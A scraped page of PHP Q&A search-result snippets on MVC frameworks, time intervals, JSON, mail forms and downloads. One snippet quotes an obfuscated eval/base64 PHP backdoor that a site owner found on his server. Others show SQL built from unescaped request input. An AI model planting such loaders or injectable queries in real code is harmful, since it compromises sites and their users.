Search Results

Search found 42698 results on 1708 pages for 'php in array'.

Page 201/1708 | < Previous Page | 197 198 199 200 201 202 203 204 205 206 207 208  | Next Page >

  • SIMPLE PHP MVC Framework [closed]

    - by Allen
    I need a simple and basic MVC example to get me started. I don't want to use any of the available packaged frameworks. I am in need of a simple example of a simple PHP MVC framework that would allow, at most, the basic creation of a simple multi-page site. I am asking for a simple example because I learn best from simple real world examples. Big popular frameworks (such as code igniter) are to much for me to even try to understand and any other "simple" example I have found are not well explained or seem a little sketchy in general. I should add that most examples of simple MVC frameworks I see use mod_rewrite (for URL routing) or some other Apache-only method. I run PHP on IIS. I need to be able to understand a basic MVC framework, so that I could develop my own that would allow me to easily extend functionality with classes. I am at the point where I understand basic design patterns and MVC pretty well. I understand them in theory, but when it comes down to actually building a real world, simple, well designed MVC framework in PHP, I'm stuck. Edit: I just want to note that I am looking for a simple example that an experienced programmer could whip up in under an hour. I mean simple as in bare bones simple. I don't want to use any huge frameworks, I am trying to roll my own. I need a decent SIMPLE example to get me going.

    Read the article

  • Php - divide time period into equal intervals

    - by experc
    Hi! I am working on my php course project and for the past few days I have stucked at the point where I have to create php function which gets 5 parameters which represents information about the working time of some department - when the work starts/ends, when the lunchtime (or any other break) starts/ends and integer representing minutes into how small piecies we should divide time period. Besides - it's possible that there are not any breaks in the working time. The function should return all intervals from working time. function split_time_into_intervals($work_starts,$work_ends,$break_starts=null; $break_ends=null,$minutes_per_interval=60){ $intervals=array(); //all of the function code return $intervals; } So if I have the following parameters for the function function split_time_into_intervals("8:30","14:50","11:45"; "12:25"){ .. } I would like to retrieve the following array: $intervals[0]['starts']="8:30"; $intervals[0]['ends']="9:30"; $intervals[1]['starts']="9:30"; $intervals[1]['ends']="10:30"; $intervals[2]['starts']="10:30"; $intervals[2]['ends']="11:30"; $intervals[3]['starts']="11:30"; $intervals[3]['ends']="11:45"; //this interval was smaller than 60 minutes - because of the break (which starts at 11:45) $intervals[4]['starts']="12:25";//starts when the break ends $intervals[4]['ends']="13:25"; // interval is again 60 minutes $intervals[5]['starts']="13:25"; $intervals[5]['ends']="14:25"; $intervals[6]['starts']="14:25"; $intervals[6]['ends']="14:50"; //this period is shorter than 60 minutes - because work ends Any advises? I would apriciate any php (or C#) code regarding to this problem!

    Read the article

  • JSON parse data in javascript from php

    - by Stefania
    I'm trying to retrieve data in a javascript file from a php file using json. $items = array(); while($r = mysql_fetch_array($result)) { $rows = array( "id_locale" => $r['id_locale'], "latitudine" => $r['lat'], "longitudine" => $r['lng'] ); array_push($items, array("item" => $rows)); } ECHO json_encode($items); and in the javascript file I try to recover the data using an ajax call: $.ajax({ type:"POST", url:"Locali.php", success:function(data){ alert("1"); //var obj = jQuery.parseJSON(idata); var json = JSON.parse(data); alert("2"); for (var i=0; i<json.length; i++) { point = new google.maps.LatLng(json[i].item.latitudine,json[i].item.longitudine); alert(point); } } }) The first alert is printed, the latter does not, it gives me error: Unexpected token <.... but I do not understand what it is. Anyone have any idea where am I wrong? I also tried to recover the data with jquery but with no positive results.

    Read the article

  • php not well formed?

    - by Idealflip
    Hi Everyone, when my site loads, it stops half way because of specific php code. When I try commenting out the php code, the whole page loads properly (input boxes, buttons etc.) This is the code that causes the issue <?php //if the add location button is clicked, the add location, the whole form will not be submitted if($_REQUEST['command'] == 'Add'){ if($_POST['companyLocation'] == ""){ $errmsg="Please enter a location1"; } elseif($_POST['companySize'] == ""){ $errmsg="Please enter a size for the location"; } else{ $location = Location::instance(); $testing = $location->doesExist($_POST['companyLocation']); if ($testing == true){ $errmsg="Location already exists"; } else{ $objLocation = new Obj_Location(); $objLocation->set_Name($_POST['companyLocation']); $objLocation->set_Size($_POST['companySize']); $location->addLocation($objLocation); $location->saveInstance(); } } } //this is the part that breaks! when I comment it out, the page loads properly. $location = Location::instance(); $location->deleteItem($_GET["item"]); $location->saveInstance(); $location->listItems(); ?>

    Read the article

  • Retrieving database column using JSON [migrated]

    - by arokia
    I have a database consist of 4 columns (id-symbol-name-contractnumber). All 4 columns with their data are being displayed on the user interface using JSON. There is a function which is responisble to add new column to the database e.g (countrycode). The coulmn is added successfully to the database BUT not able to show the new added coulmn in the user interface. Below is my code that is displaying the columns. Can you help me? table.php $(document).ready(function () { // prepare the data var theme = getDemoTheme(); var source = { datatype: "json", datafields: [ { name: 'id' }, { name: 'symbol' }, { name: 'name' }, { name: 'contractnumber' } ], url: 'data.php', filter: function() { // update the grid and send a request to the server. $("#jqxgrid").jqxGrid('updatebounddata', 'filter'); }, cache: false }; var dataAdapter = new $.jqx.dataAdapter(source); // initialize jqxGrid $("#jqxgrid").jqxGrid( { source: dataAdapter, width: 670, theme: theme, showfilterrow: true, filterable: true, columns: [ { text: 'id', datafield: 'id', width: 200 }, { text: 'symbol', datafield: 'symbol', width: 200 }, { text: 'name', datafield: 'name', width: 100 }, { text: 'contractnumber', filtertype: 'list', datafield: 'contractnumber' } ] }); }); data.php <?php #Include the db.php file include('db.php'); $query = "SELECT * FROM pricelist"; $result = mysql_query($query) or die("SQL Error 1: " . mysql_error()); $orders = array(); // get data and store in a json array while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $pricelist[] = array( 'id' => $row['id'], 'symbol' => $row['symbol'], 'name' => $row['name'], 'contractnumber' => $row['contractnumber'] ); } echo json_encode($pricelist); ?>

    Read the article

  • GAPI output doesn't match Google Analytics website

    - by Yekver
    I have to get the main info about my Google Analytics Goals. I'm using GAPI lib, with this code: <?php require_once 'conf.inc'; require_once 'gapi.class.php'; $ga = new gapi(ga_email,ga_password); $dimensions = array('pagePath', 'hostname'); $metrics = array('goalCompletionsAll', 'goalConversionRateAll', 'goalValueAll'); $ga->requestReportData(ga_profile_id, $dimensions, $metrics, '-goalCompletionsAll', '', '2012-09-07', '2012-10-07', 1, 500); $gaResults = $ga->getResults(); foreach($gaResults as $result) { var_dump($result); } cut this code is output: object(gapiReportEntry)[7] private 'metrics' => array (size=3) 'goalCompletionsAll' => int 12031 'goalConversionRateAll' => float 206.93154454764 'goalValueAll' => float 0 private 'dimensions' => array (size=2) 'pagePath' => string '/catalogs.php' (length=13) 'hostname' => string 'www.example.com' (length=13) object(gapiReportEntry)[6] private 'metrics' => array (size=3) 'goalCompletionsAll' => int 9744 'goalConversionRateAll' => float 661.05834464043 'goalValueAll' => float 0 private 'dimensions' => array (size=2) 'pagePath' => string '/price.php' (length=10) 'hostname' => string 'www.example.com' (length=13) What I see on Google Analytics website on Goals URLs page with the same period of date is: Goal Completion Location Goal Completions Goal Value 1. /price.php 9,396 $0.00 2. /saloni.php 3,739 $0.00 As you can see outputs doesn't match. Why? What's wrong?

    Read the article

  • Weird PHP file on my website

    - by sam
    Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='eJxtmV1vX7cNh79KUQRwnBaNXvgizTsXTYst2EWxlxZtczO4toukTeLVSQO0w777SP7Ig13sxkeWdHgkig9J8f/oph299atHN/1Qssc4+mj2nNbtTzqW2IMP2faQg71TD/XOhf/2QcsFtEPYnyZJ/WmiegzMYw1/ksmMBh/s3+pyaPyvB8cb61jRv/PjwxbX/bujHxTPgTeHiZz+dJH+6uBcvhzLdzM0tzVWznSZPmO2Y7uoacv05c5RAxNbnZQDbKpwEVNshm9k2jqjYx3bPzpLJrVj+StkMl02lUzKrRNhh2QyW8xwmf41soX2eDeF0sb62GTGs+dMHqkVtrMZLpVNqr/KLjUacpBvll1ovLPwXd7H8h1IO9R3ICVURs4UE9pdqFD1cG5C5JDosGN36WIq9XXIRr82HIp2fExHPudB8SQcgXKeiZZCVWEAulIJug/2jtXyXFdPI1ojjWfNg8P4bPMudXHNsKOPV3zzvp618ntr49x2Sz3tnke7B2x1TyxkEw5wM7a2BUvfCr1tFxkdOxt2JGm8rYTaOnEuNgMmZXqEedrnsUHTfpq27RNsmUqO3aKRWujd7T9E9p5n3h0rANtz0bZbmIzpMDdoJ4gz6sYW6OyrenZNcrywCeML5I1xdk2Q1I2xwLw7YwBbzkm29pA+VrFtoGGWgUZodFhyd9R6iJozz6jPtOE+k+BuuG28p7DmPleaZD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1x8WL+q//w5qsPP3z37LcX3331u3d//vlx8evb16/exqRnz46Ld+8fHu4++H9ffGFjNz++enj3/uLqx/uHx7a4h6N96g9vXVygefxw/e5O6J+3dzf3t3c26/JTX6utybfz8Mc1RzQ++eTy33j3+PjGGx9fpajPjmg8foT/L6/+kwP/R7iN1uBxznqcLR/7395f3lxi79++fnl9/ee/PPvr1+0ILfu0esteu/tw/fqxK+DxxdWl9Tx6/Pr6w93F5eXVfwHF9UwV';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

    Read the article

  • FastCgiModule Error 500 on Windows7 Ultimate + IIS 7.5

    - by user63179
    I'm running IIS 7.5 on Windows 7 Ultimate. I've installed PHP Version 5.2.14 using Microsoft Web Platform Installer. I've created a virtual directory and a file with which I can browse it and it returns all the PHP information just fine. I'm trying to install MantisBT, and when I copy all the file to my virtual directory and browse index.php I receive the following error detail: Error Summary HTTP Error 500.0 - Internal Server Error The page cannot be displayed because an internal server error has occurred. Detailed Error Information Module FastCgiModule Notification ExecuteRequestHandler Handler PHP_via_FastCGI Error Code 0x00000000 Requested URL http://localhost:80/mantisbt/index.php Physical Path V:\wwwroot\mantisbt\index.php Logon Method Anonymous Logon User Anonymous I've changed these in the php.ini file: fastcgi.impersonate = 1 fastcgi.logging = 0 cgi.fix_pathinfo=1 cgi.force_redirect = 0 The Handler Mappings have this information: Request path: *.php Module: FastCgiModule Executable: C:[Path to PHP installation]\php-cgi.exe Name: PHP_via_FastCGI Thank you for any advice on this!!

    Read the article

  • how to tackle a custom forms database

    - by Neil Hickman
    I'm currently researching a project for the place that I work in. We are trying to create a system that will allow forms to be set up dynamically from a database. My question is what database structure would best suit something like this? I currently have a structure of: forms_form forms_formfields forms_formdata I don't think this is the most appropriate layout for this. Basically to make is make sense I need to be able to make a form within the database that can have infinite fields all customized and have the data when submitted stored in the database.

    Read the article

  • Why is my PHP upload script not working?

    - by Turner
    Hello all, I am doing some simple work with uploading a file. I am ignoring error checking and exceptions at this point just to get my uploads working. I have this HTML form: <form action='addResult.php' method='post' enctype='multipart/form-data' target='results_iFrame' onsubmit='startUpload();'> Entry: <input type='text' id='entry' /> Stop: <input type='text' id='stop' /> Final: <input type='text' id='final' /> Chart: <input type='file' id='chart' /> <input type='submit' value='Add' /></form> As you can see, it calls 'addResult.php' within the iFrame 'results_iFrame'. The Javascript is just for animation purposes and to tell me when things are finished. addResult.php has this code in it (along with processing the other inputs): $upload_dir = "../img/"; $chart_loc = $upload_dir.basename($_FILES['chart']['name']); move_uploaded_file($_FILES['chart']['tmp_name'], $chart_loc); print_r($_FILES); It uses the 'chart' input from the form and tries to upload it. I have the print_r() function to display some information on $_FILES, but the array is empty, thus making this fail. What could I be doing wrong?

    Read the article

  • Load PHP function with jQuery Ajax

    - by brandon14_99
    I have a file which is loaded at the top of my document, which is called Videos.php. Inside that file are several functions, such as getYoutubeVideos. On some pages, I need to call upon that function several times (up to 50), and it of course creates major lag on load times. So I have been trying to figure out how to call that function in, only when it is need (when someone clicks the show videos button). I have very little experience with jQuery's ajax abilities. I would like the ajax call to be made inside of something like this: jQuery('a[rel=VideoPreview1).click(function(){ jQuery ("a[rel=VideoPreview1]").hide(); jQuery ("a[rel=HideVideoPreview1]").show(); jQuery ("#VideoPreview1").show(); //AJAX STUFF HERE preventDefault(); }); Ok I have created this based on the responses, but it is still not working: jQuery Code: jQuery(document).ready(function(){ jQuery("a[rel=VideoPreview5]").click(function(){ jQuery("a[rel=VideoPreview5]").hide(); jQuery("a[rel=HideVideoPreview5]").show(); jQuery.post("/Classes/Video.php", {action: "getYoutubeVideos", artist: "Train", track: "Hey, Soul Sister"}, function(data){ jQuery("#VideoPreview5").html(data); }, 'json'); jQuery("#VideoPreview5").show(); preventDefault(); }); jQuery("a[rel=HideVideoPreview5]").click(function(){ jQuery("a[rel=VideoPreview5]").show(); jQuery("a[rel=HideVideoPreview5]").hide(); jQuery("#VideoPreview5").hide(); preventDefault(); }); }); And the PHP code: $Action = isset($_POST['action']); $Artist = isset($_POST['artist']); $Track = isset($_POST['track']); if($Action == 'getYoutubeVideos') { echo 'where are the videos'; echo json_encode(getYoutubeVideos($Artist.' '.$Track, 1, 5, 'relevance')); }

    Read the article

  • SELECT SUM PHP MySQL problem

    - by user345426
    This is driving me nuts! Below you will find my PHP/MySQL code but I will post the direct mySQL statement here: SELECT SUM( ot.value ) AS msa FROM orders o LEFT JOIN orders_total ot ON ot.orders_id = o.orders_id WHERE ot.class = 'ot_total' AND UNIX_TIMESTAMP( o.date_purchased ) >=1262332800 AND UNIX_TIMESTAMP( o.date_purchased ) <=1264924800 AND o.sales_rep_id = '2' When I execute this statement inside of phpMyAdmin I get the sum for ot.value which is associated to "msa". Although, when I run my php code it does not return a value. Anyone see the problem? // works in phpMyAdmin but not displaying during PHP execution! $monthly_sales_amount_sql = "SELECT SUM(ot.value) AS msa FROM orders o LEFT JOIN orders_total ot ON ot.orders_id = o.orders_id WHERE ot.class = 'ot_total' AND UNIX_TIMESTAMP(o.date_purchased) >= $start_timestamp AND UNIX_TIMESTAMP(o.date_purchased) <= $end_timestamp AND o.sales_rep_id = '" . $sales_rep_id "'"; $result = mysql_query($monthly_sales_amount_sql); $row = mysql_fetch_assoc($result); echo "MSA: " . $row['msa'] . "<BR><BR>";

    Read the article

  • Executing system command in php, differs in using broswer and in using command line

    - by Amit
    Hi, I have to execute a Linux "more" command in php from a particular offset, format the result and display the result in Browser. My Code for the above is : <html> <head> <META HTTP-EQUIV=REFRESH CONTENT=10> <META HTTP-EQUIV=PRAGMA CONTENT=NO-CACHE> <title>Runtime Access log</title> </head> <body> <?php $moreCommand = "more +3693 /var/log/apache2/access_log | grep -v -e '.jpg' -e '.jpeg' -e '.css' -e '.js' -e '.bmp' -e '.ico'| wc -l"; exec($moreCommand, $accessDisplay); echo "<br/>No of lines are : $accessDisplay[0] <br/>"; ?> The output at the browser is :: No of lines are : 3428 (This is wrong) While executing the same command using command line gives a different output. My code snippet for the same is : <?php $moreCommand = "more +3693 /var/log/apache2/access_log | grep -v -e '.jpg' -e '.jpeg' -e '.css' -e '.js' -e '.bmp' -e '.ico'| wc -l"; exec($moreCommand, $accessDisplay); echo "No of lines are : $accessDisplay[0] \n"; ? The output at the command line is :: No of lines are : 279 (This is correct) While executing the same command directly in command line, gives me output as 279. I am unable to understand why the output of the same command is wrong in the browser. Its actually giving the word count of lines, ignoring the offset parameter. Please help !! Thanks, Amit

    Read the article

  • Automatic facebook login

    - by Marc Böhmer
    I manage 4 Facebook fan pages. Whenever users make a news on his website, I post it on Facebook. Now I have made it that I only have to press a button and the news were posted. I would like to automate this. How can I do this? My problem is that it is associated with my Facebook account and then it is not running in cron job or nothing is posted. Can I use my login data to a file which the Cronjob can always log in?

    Read the article

  • PHP Outputting File Attachments with Headers

    - by OneNerd
    After reading a few posts here I formulated this function which is sort of a mishmash of a bunch of others: function outputFile( $filePath, $fileName, $mimeType = '' ) { // Setup $mimeTypes = array( 'pdf' => 'application/pdf', 'txt' => 'text/plain', 'html' => 'text/html', 'exe' => 'application/octet-stream', 'zip' => 'application/zip', 'doc' => 'application/msword', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'gif' => 'image/gif', 'png' => 'image/png', 'jpeg' => 'image/jpg', 'jpg' => 'image/jpg', 'php' => 'text/plain' ); // Send Headers //-- next line fixed as per suggestion -- header('Content-Type: ' . $mimeTypes[$mimeType]); header('Content-Disposition: attachment; filename="' . $fileName . '"'); header('Content-Transfer-Encoding: binary'); header('Accept-Ranges: bytes'); header('Cache-Control: private'); header('Pragma: private'); header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); readfile($filePath); } I have a php page (file.php) which does something like this (lots of other code stripped out): // I run this thru a safe function not shown here $safe_filename = $_GET['filename']; outputFile ( "/the/file/path/{$safe_filename}", $safe_filename, substr($safe_filename, -3) ); Seems like it should work, and it almost does, but I am having the following issues: When its a text file, I am getting a strange symbol as the first letter in the text document When its a word doc, it is corrupt (presumably that same first bit or byte throwing things off). I presume all other file types will be corrupt - have not even tried them Any ideas on what I am doing wrong? Thanks - UPDATE: changed line of code as suggested - still same issue.

    Read the article

  • How do I get Composer to download the latest commit in the master branch from GitHub for a package?

    - by pthurmond
    I am trying to get Composer do download the latest commit for the Behat/MinkSelenium2Driver package. That particular repo only has a master branch. I have tried every method I can think of, including deleting the files and letting it pull them back in, to get it to work but it doesn't. How would I get it to pull in latest committed files or at least those from the commit I list below? Specifically I want to get this commit: https://github.com/Behat/MinkSelenium2Driver/commit/2e73d8134ec8526b6e742f05c146fec2d5e1b8d6 Thanks, Patrick

    Read the article

  • Getting a UIImage from MySQL using PHP and jSON

    - by Daniel
    I'm developing a little news reader that retrieves the info from a website by doing a POST request to a URL. The response is a jSON object with the unread-news. E.g. the last news on the App has a timeStamp of "2013-03-01". When the user refreshes the table, it POSTS "domain.com/api/api.php?newer-than=2013-03-01". The api.php script goes to the MySQL database and fetches all the news posted after 2013-03-01 and prints them json_encoded. This is // do something to get the data in an array echo $array_of_fetched_data; for example the response would be [{"title": "new app is coming to the market", "text": "lorem ipsum dolor sit amet...", image: XXX}] the App then gets the response and parses it, obtaining an NSDictionary and adds it to a Core Data db. NSDictionary* obtainedNews = [NSJSONSerialization JSONObjectWithData:responseData options:kNilOptions error:&error]; My question is: How can I add an image to the MySQL database, store it, pass it using jSON trough a POST HTTP Request and then interpret it as an UIImage. It's clear that to store an UIImage in CoreData, they must be transform into/from NSData. How can I pass the NSData back and forth to a MySQL db using php and jSON? How should I upload the image to the db? (Serialized, as a BLOB, etc)

    Read the article

  • How to get HABTM associated data using hasOne binding

    - by Moin
    Hi, I am following example documented at http://book.cakephp.org/view/83/hasAndBelongsToMany-HABTM I am trying to retrieve associated data using hasOne. I created 3 tables posts, tags and posts_tags. I wrote following code to debug Posts. $this->Post->bindModel(array( 'hasOne' => array( 'PostsTag', 'FilterTag' => array( 'className' => 'Tag', 'foreignKey' => false, 'conditions' => array('FilterTag.id = PostsTag.tag_id') )))); $output=$this->Post->find('all', array( 'fields' => array('Post.*') )); debug($output); I was expecting output something like below. Array ( 0 => Array { [Post] => Array ( [id] => 1 [title] => test post 1 ) [Tag] => Array ( [0] => Array ( [id] => 1 [name] => php ) [1] => Array ( [id] => 2 [name] => javascript ) [2] => Array ( [id] => 3 [name] => xml ) ) } But my output do not have Tags at all. Here is what I got. Array ( [0] => Array ( [Post] => Array ( [id] => 1 [title] => test post1 ) ) [1] => Array ( [Post] => Array ( [id] => 2 [title] => test post2 ) ) ) How do I get associated tags along with the post. I know I am missing something, but unable to figure out. Any help would be highly appreciated.

    Read the article

  • Can't make HREF change based on PHP value

    - by Liso22
    I want to retrieve the user's location and then show a link that points to an URL that changes according to that location. I just want to place the user's city name at the end of the HREF. I need this work on my wordpress site, on a static page. I use a plugin called Exec-php which let's me run PHP in pages. I have a plugin that provides me the user's city through the shortcode "[mmjs-city]". I tried to make it work through different paths but I never get the link to work. Here I tried assigning that shortcode to a value, <?php $city= "[mmjs-city]"; echo $city; echo "<a href='?s=" . $city ."'>Search for your city</a>"; ?> I added the first two lines to check whether the shortcode is working or not and if it's correctly assinged to the value $city. That part works. Then it creates the link and put's the value $city at the end of it. But when trying it instead of taking me to: /?s=new+york It takes me to: /?s=%3Cscript%20language=%22javascript%22%3Edocument.write(geoip_city());%3C/script%3E I have no idea what to do. I would be really thankful for any info on how to make it work, it's really an important feature for my site. Please ask for any further info or idk anything. Also this is where I tested that code: http://chusmix.com/?page_id=1129 Thanks

    Read the article

  • [php] Firefox refreshes page 1, even after redirection to page 2

    - by Znarkus
    Hi! This is a quite weird and annoying problem, which is reproduced with the script below. Say we have two pages: script.php and script.php?second. Page 1 creates some database entries and redirects to page 2. On page 2, the user is presented with an editor for said entries. If page 1 for some reason crashes on the first try, and prints some error message, a strange thing will happend. If we refresh page 1 (and this time it redirects fine), every consecutive refresh (of page 2) will actually refresh page 1 and again redirect to page 2. In the above example this would create new database entries for every refresh, which is the problem I want to circumvent by redirecting to page 2. <?php header('Content-type: text/plain'); session_start(); if (!isset($_GET['second'])) { $_SESSION['counter'] = isset($_SESSION['counter']) ? $_SESSION['counter'] + 1 : 1; /*$_SESSION['counter'] = 0; exit('asd');*/ header("Location: {$_SERVER['PHP_SELF']}?second", true, 303); exit; } echo "Counter: {$_SESSION['counter']}"; To try the above complete script, first run it with the commented code intact, then by enabling the commented code. I've tried 301, 302 and 303 redirections. Does someone know why this is happening?

    Read the article

  • Create facebook object each and every time?

    - by oshirowanen
    I have a login page which will log a user into my webapp based on their facebook login details. I then create a session to remember who they are. What I want to know is, should I be creating and/or checking the facebook credential on every single page of my webapp, or should I simply use the session I create at the beginning to login? For example, once they have logged in, I would like to allow them to post a message onto their own facebook wall from my app. Should I check the login credentials before they can post by recreating the facebook object, or should I simply use the stored login details already in my session and use that to post to their facebook wall?

    Read the article

  • PHP for loop isn't looping after APC installation

    - by BoRo
    So I installed APC and i all of the sudden my for loops only run once and increment the value then stops. I dont get what's going on, it worked fine before APC was installed. Any Suggestions? EDIT: I managed to narrow it down to the increment. for some reason if I have an array let's say string[], and have the for loop list through the values like with string[$i] It only does it for the first one, I can manually echo/print out the array elements to check if the array is the problem but all elements have the appropriate data/values. EDIT #2: Well the code looks something like (it scrapes a page for images and gets some data from it): $str = explode('<div class="images" align="center">',$str); for($i=1;$i<11;$i++){ $url3 = $str[$i]; $url3 = extstr3($url3,'class="filename">','</div>'); $urlname = extstr3($url3,'<a href="','</a>'); $name = extstr3($urlname,'target="_blank">','.jpg'); $url3 = extstr3($url3,'<a href="','" target="_blank">'); $name = str_replace ('_', ' ', $name); . . .

    Read the article

  • Encrypt correctly caracters in a PHP mail form ("I'm" turns to be "I\'m")

    - by Peanuts
    Hello guys, I'm testing a PHP mail form, a very barebones one, found here: <?php if(isset($_POST['submit'])) { //The form has been submitted, prep a nice thank you message $output = '<h3>Thanks for your message</h3>'; //Deal with the email $to = '[email protected]'; $subject = 'you have a mail'; $contactname = strip_tags($_POST['contactname']); $adress = strip_tags($_POST['adress']); $contactemail = strip_tags($_POST['contactemail']); $textmessage = strip_tags($_POST['textmessage']); $boundary =md5(date('r', time())); $headers = "From: My Site\r\nReply-To: [email protected]"; $message = "Name: ".$contactname."\n"; $message .= "Adress: ".$adress."\n"; $message .= "E-mail: ".$contactemail."\n"; $message .= "Message: ".$textmessage."\n"; mail($to, $subject, $message, $headers); } ?> The problem is I'm receiving an unwanted slash "\" everytime I write a single or a double quote in my message, so "I'm" appear as "I\'m" in my mailbox. I know it have to do with the way PHP distinguishes code quotes from only lecture quotes, but I wouldn't know what to add in my form to get it properly running. Any help is appreciated,

    Read the article

  • problem in creating a php tree menu

    - by Mac Taylor
    hi mates im writing a tree menu for my categories in php and i wonder how can i code it correctly ! this is my table in database " |----topicid------topicname--------parent | |---- 1 ------ News -------- 0 | |---- 2 ------ sport -------- 1 | |---- 3 ------ games -------- 1 | |---- 4 ------ PES -------- 3 | so now for showing it like a tree i did try but not worked : $result = mysql_query("SELECT * FROM Topics ORDER BY topicid"); while ($row = mysql_fetchrow($result)) { $id = intval($row['topicid']); $title = filter($row['topicname'], "nohtml"); $parent = $row['parent'] ; if ($parent==0) { $menu_item .= "<li><span class='folder'><a title = \"$alt\" href=\"modules.php?name=News&amp;new_topic=$id\">$title</a></span></li>"; }else { $result = mysql_query("SELECT * FROM ".$prefix."_Topics where parent='$id' ORDER BY topicid"); while ($row = mysql_fetchrow($result)) { $id = intval($row['topicid']); $title = filter($row['topicname'], "nohtml"); $parent = $row['parent'] ; $menu_item .= " <ul><li><span class='file'><a title = \"$alt\" href=\"modules.php?name=News&amp;new_topic=$id\">$title</a></span></li></ul>"; } } i dont know how to solve this

    Read the article

< Previous Page | 197 198 199 200 201 202 203 204 205 206 207 208  | Next Page >